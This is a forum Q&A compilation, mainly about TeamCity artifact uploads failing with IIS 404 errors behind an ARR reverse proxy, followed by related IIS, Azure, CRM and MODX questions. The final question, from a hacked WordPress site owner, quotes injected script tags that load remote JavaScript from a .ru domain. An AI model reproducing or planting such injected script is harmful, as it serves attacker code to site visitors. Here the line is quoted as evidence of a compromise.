Problems publishing artifacts to remote TeamCity server on IIS - iis

I have a rather strange problem with TeamCity. I have a TeamCity installation, with local and remote build agents. The TeamCity server is hidden behind IIS with Application Request Routing (ARR), to enable SSL, etc. I have a feeling this might be part of the problem, but I am not sure. Another reason to suspect IIS being part of the problem is, I tried to host TeamCity on an Azure Web App, and got exactly the same behaviour.
The trouble is, after building, when the build agents try to publish the artifacts to the server, I get a 404 back from the TeamCity server. TeamCity thinks it is a recoverable error (see log), and keeps trying again some times. Eventually, the publishing fails.
If I configure the local agents to access TeamCity via http://localhost, everything works smooth. But, when accessing via the public address (which is served via IIS), I get 404s. The 404 content looks like a standard IIS 404 page.
I have tries setting agent logging verbosity to DEBUG, but it still doesn't output the actual URL it is trying to call.
Does anyone have any clues on how to troubleshoot this? Getting the TeamCity agent to output the URL for which it gets the 404 would be a good start.
[Publishing artifacts] Publishing 1 file [F:/tc/ba3/temp/buildTmp/out/_PublishedWebSites/**/* => dist.zip] using [WebPublisher]
[15:34:15][Publishing artifacts] Publishing 1 file [F:/tc/ba3/temp/buildTmp/out/_PublishedWebSites/**/* => dist.zip] using [ArtifactsCachePublisher]
[15:35:10]
[Publishing artifacts] Recoverable problem publishing artifacts (will retry): <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">;
<html xmlns="http://www.w3.org/1999/xhtml">;
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>
<title>404 - File or directory not found.</title>
<style type="text/css">
<!--
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
-->
</style>
</head>
<body>
<div id="header"><h1>Server Error</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>404 - File or directory not found.</h2>
<h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>
</fieldset></div>
</div>
</body>
</html>

EDIT: Found this documented on the TeamCity pages as well:
https://confluence.jetbrains.com/display/TCD9/Known+Issues#KnownIssues-FailuretopublishartifactstoserverbehindIISreverseproxy
Failed Request Tracing (as Terri Rougeou Donahue mentioned) was the tool to help me. I had two errors.
Firstly, the StaticFileHandler was not turned off. So, when trying to POST to the /httpAuth/artefactUpload.html URL, the StaticFileHandler tried to handle the request before ARR could handle it.
When I turned off StaticFileHandler, the RequestFiltering module kicked in, and returned an error code of 404.13, which is "Content Length Too Large". After a bit of googling, I found this, http://www.iis.net/configreference/system.webserver/security/requestfiltering/requestlimits, describing the parameter maxAllowedContentLength, and says "The default value is 30000000, which is approximately 28.6MB."
The solution was:
Turn off StaticFileHandler for the web site (Handler mappings)
Edit the properties of "Request filtering" settings on the Web site, set "Maximum allowed content length" to something sensible. I added a 0 (makes it approximately 286MB, as artifacts can get quite large).

You could enable Failed Request Tracing on the IIS server that TeamCity is deploying to. This would provide the location where the 404 is occuring.

Related

IIS Http status issues

The iis server in production is behaving differently from my pc for my restful api project. There are two below issues.
1) if the endpoint doesn’t exist under the website (eg https://xxx/website/invalidapi/), production iis is returning http status 404 instead of local pc is returning 500.
Below is error msg.
*<div class="content-container">
<h3>HTTP Error 404.0 - Not Found</h3>
<h4>The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.
</h4>
</div>
<div class="content-container">
<fieldset>
<h4>Most likely causes:</h4>
<ul>
<li>The directory or file specified does not exist on the Web server.</li>
<li>The URL contains a typographical error.</li>
<li>A custom filter or module, such as URLScan, restricts access to the file.</li>
</ul>
</fieldset>
</div>*
If the website/application doesn’t exist (eg, https://xxx/invalidwebsite/api/), production iis is returning http status 500 instead of local pc returning 404.
Below is 500 error msg
*<div id="header">
<h1>Server Error</h1>
</div>
<div id="content">
<div class="content-container">
<fieldset>
<h2>500 - Internal server error.</h2>
<h3>There is a problem with the resource you are looking for, and it cannot be displayed.</h3>
</fieldset>
</div>
</div>*
Is there some configuration in production iis to behave that way?
2) I am implementing iis rewrite rule to my website, the rule is to redirect the request with invalid (non-existing website) to default another website.
It is working well in my local pc. But in production iis, it is not redirecting and returning http status 403 for invalid website. If I tested to a test (existing site), it can rewrite correctly.
Is it due to the same reason as above? Kindly advise how I can fix ? Thanks.

Azure App Service on Linux plan encoding issue

I deployed a node app "typically prerender server" to two different places and tested prerender with a get request to a url contains Arabic letters
1. Heruko: working perfectly
2. Azure App Service on linux plan failed with HTTP Error 400. The request URL is invalid.
here is the respond body from Postsman
<html>
<head>
<title>Bad Request</title>
<meta http-equiv="Content-Type" content="text/html; charset=us-ascii">
<style type="text/css">.cf-hidden { display: none; } .cf-invisible { visibility: hidden; }</style>
</head>
<body>
<h2>Bad Request - Invalid URL</h2>
<hr>
<p>HTTP Error 400. The request URL is invalid.</p>
</body>
</html>
Notice that the response head/meta contains charset=us-ascii
here is how the prerender node app see part of the url
u008aÙ\u0088Ù\u0085_Ù\u0085Ù\u0083رÙ\u0088Ù\u0086ع
i even created a node docker image to set language and locale to en_US.UTF-8 and changed Azure App to use this Docker image but still get error.
Any help please ?!
Unfortunately, after some investigation, I still don't understand why this issue occurred.
Actually App Service on Linux are still in Preview and not in Production yet. In this case, I would suggest you use an alternative offering, like Cloud Service or VM instead.
I have also tried to create prerender server on an Azure Linux Virtual Machine (Ubuntu Server 16.04 LTS), and it worked well.

Ms CRM, deploy from VS alters html files

So, I have a html file
<html>
<head>
..headstuff..
</head>
<body>
..bodystuff..
</body>
</html>
This file is included in the package, which I then deploy to my CRM. (rightclick -> deploy)
When I check my deployment, the file is present, and all looks visualy ok.
But when I check the code it now looks like this:
<html>
<head></head>
<body>
..headstuff..
..bodystuff..
</body>
</html>
How is this possible?
I've tried changing stuff in CRM and publishing, and it remains the same. I've also tried it with XrmToolbox with only the desired effect. So I'm suspecting the VS-CRM plugin to have something to do with this.
I've also tried different html's, they all get the same treatment.
I've seen issues with the WYSIWYG editor for web resource reformatting HTML incorrectly. If you're opening the web resource file in the web UI after deploying from VS and allowing the WYSIWYG editor render the content this maybe the issue.

Modx Front End not Showing Up

I installed modx Revolution and everything is working fine in the manager, except the front end, when i browse to the local website nothing shows up, just a
<html>
<head>
<title>MODX Revolution - Home</title>
<base href="http://evosoccer.loc/EvoSoccer/" />
</head>
<body>
</body>
</html>
I checked the error log in/cache/logs and the log page from the manager and it has zero records, how do i troubleshoot this?
--
Regards.
Yehia
you have no template or content installed... by default a modx installation is completely empty.
you can install a demo site from the package management if you just wanted to kick the tires.... otherwise in the resource manager just place some content in the home template. then you should see something.
-sean

wordpress 3.0 security?

I have a website with wordpress 3.0.
I noticed that /wp-admin displays the following error today.
Warning: Cannot modify header information - headers already sent by (output started at /www/sites/..com/files/html/wp-includes/default-constants.php:299) in /www/sites/..com/files/html/wp-includes/pluggable.php on line 890
I used IE's view source. I found the following code.
script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script>
<!--661c36e2c5591b25cbc164e7b376623b-->
<script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script>
<!--661c36e2c5591b25cbc164e7b376623b--><script type="text/javascript" src="http://recordsquare.ru/KVM_Switch.js"></script>
<!--661c36e2c5591b25cbc164e7b376623b--><br />
it looks like my website has been hacked.
I enabled cforms plugin only.
any ideas or suggestions?
Pull the server offline, then run a security audit on it and any client that can upload content to it. Then change all your passwords.

Resources